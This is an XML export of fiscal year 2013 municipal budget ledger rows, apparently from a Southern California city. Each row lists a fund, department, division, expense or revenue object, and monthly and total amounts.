<row _id="4381"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>75000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>75000.0</total></row>
<row _id="4382"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>112820.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>112820.0</total></row>
<row _id="4383"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3383.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3383.0</total></row>
<row _id="4384"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>22000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22000.0</total></row>
<row _id="4385"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>13036.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13036.0</total></row>
<row _id="4386"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4377.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>44</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4421.0</total></row>
<row _id="4387"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1822.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>18</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1840.0</total></row>
<row _id="4388"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2795.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>28</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2823.0</total></row>
<row _id="4389"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>308012.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>308012.0</total></row>
<row _id="4390"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="4391"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>569360.0</object><object_description>INNOVATIONS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16000.0</total></row>
<row _id="4392"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533220.0</object><object_description>BUILDING / STRUCTURE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>-31500</may><june>0.0</june><total>18500.0</total></row>
<row _id="4393"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>409140.0</object><object_description>PASSPORT SERV APPLICATIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-14600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-14600.0</total></row>
<row _id="4394"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561112.0</object><object_description>CLARE COORDINATED CASE MGMT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4130.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4130.0</total></row>
<row _id="4395"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561117.0</object><object_description>ST JOSEPH CENTER HPSHP-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8180.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8180.0</total></row>
<row _id="4396"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-RES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-193965.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-193965.0</total></row>
<row _id="4397"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>10</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1010.0</total></row>
<row _id="4398"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>6</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>606.0</total></row>
<row _id="4399"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>41300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>41300.0</total></row>
<row _id="4400"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>404070.0</object><object_description>BIKE PED TRAINING PILOT SRTS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-49000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-147417.0</march><april>0</april><may>0</may><june>0.0</june><total>-196417.0</total></row>
<row _id="4401"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>404350.0</object><object_description>ATMS PHASE 4C-MTA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-661000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-272000.0</march><april>0</april><may>0</may><june>0.0</june><total>-933000.0</total></row>
<row _id="4402"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408350.0</object><object_description>BIKE TRAINING CMAQ GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-35000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-50000.0</march><april>0</april><may>0</may><june>0.0</june><total>-85000.0</total></row>
<row _id="4403"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>395761.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3958</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>399719.0</total></row>
<row _id="4404"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>112000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>112000.0</total></row>
<row _id="4405"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2224.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2224.0</total></row>
<row _id="4406"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="4407"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15299.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15299.0</total></row>
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<row _id="4412"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544150.0</object><object_description>TREES/SEEDS/PLANTS/FERTILIZER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>113644.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>113644.0</total></row>
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<row _id="4414"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5391.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5391.0</total></row>
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<row _id="4416"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>134542.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>134542.0</total></row>
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<row _id="4420"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>41559.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>41559.0</total></row>
<row _id="4421"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFER - GF CODE COMPLIANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>11314.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11314.0</total></row>
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<row _id="4427"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-56000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>56000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4428"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>408590.0</object><object_description>SA COLLECTIVE BU COSTS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-312400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>312400</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4429"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4600.0</total></row>
<row _id="4430"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579004.0</object><object_description>DISCRET-COMM CAREER DEVE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>92688.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>92688.0</total></row>
<row _id="4431"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579008.0</object><object_description>DISCRET-GRADES FOR GREEN</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="4432"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>406798.0</object><object_description>12 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>-23620.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-23620.0</total></row>
<row _id="4433"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>555398.0</object><object_description>12 UASI GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>398666.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>398666.0</total></row>
<row _id="4434"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>555399.0</object><object_description>13 UASI GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>47000</may><june>0.0</june><total>47000.0</total></row>
<row _id="4435"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>410110.0</object><object_description>BLOOMBERG WELLBEING PROJECT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>-1000000</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1000000.0</total></row>
<row _id="4436"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>53</fund_id><fund_name>Parks and Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>402930.0</object><object_description>UNIT DWELLING TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>-25000.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="4437"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404060.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>-27000.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-27000.0</total></row>
<row _id="4438"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>104</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>104.0</total></row>
<row _id="4439"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>489</november><december>0</december><january>0.0</january><february>5</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>494.0</total></row>
<row _id="4440"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405370.0</object><object_description>DISCOUNT ON PERS PREPAYMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1452265</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1452265.0</total></row>
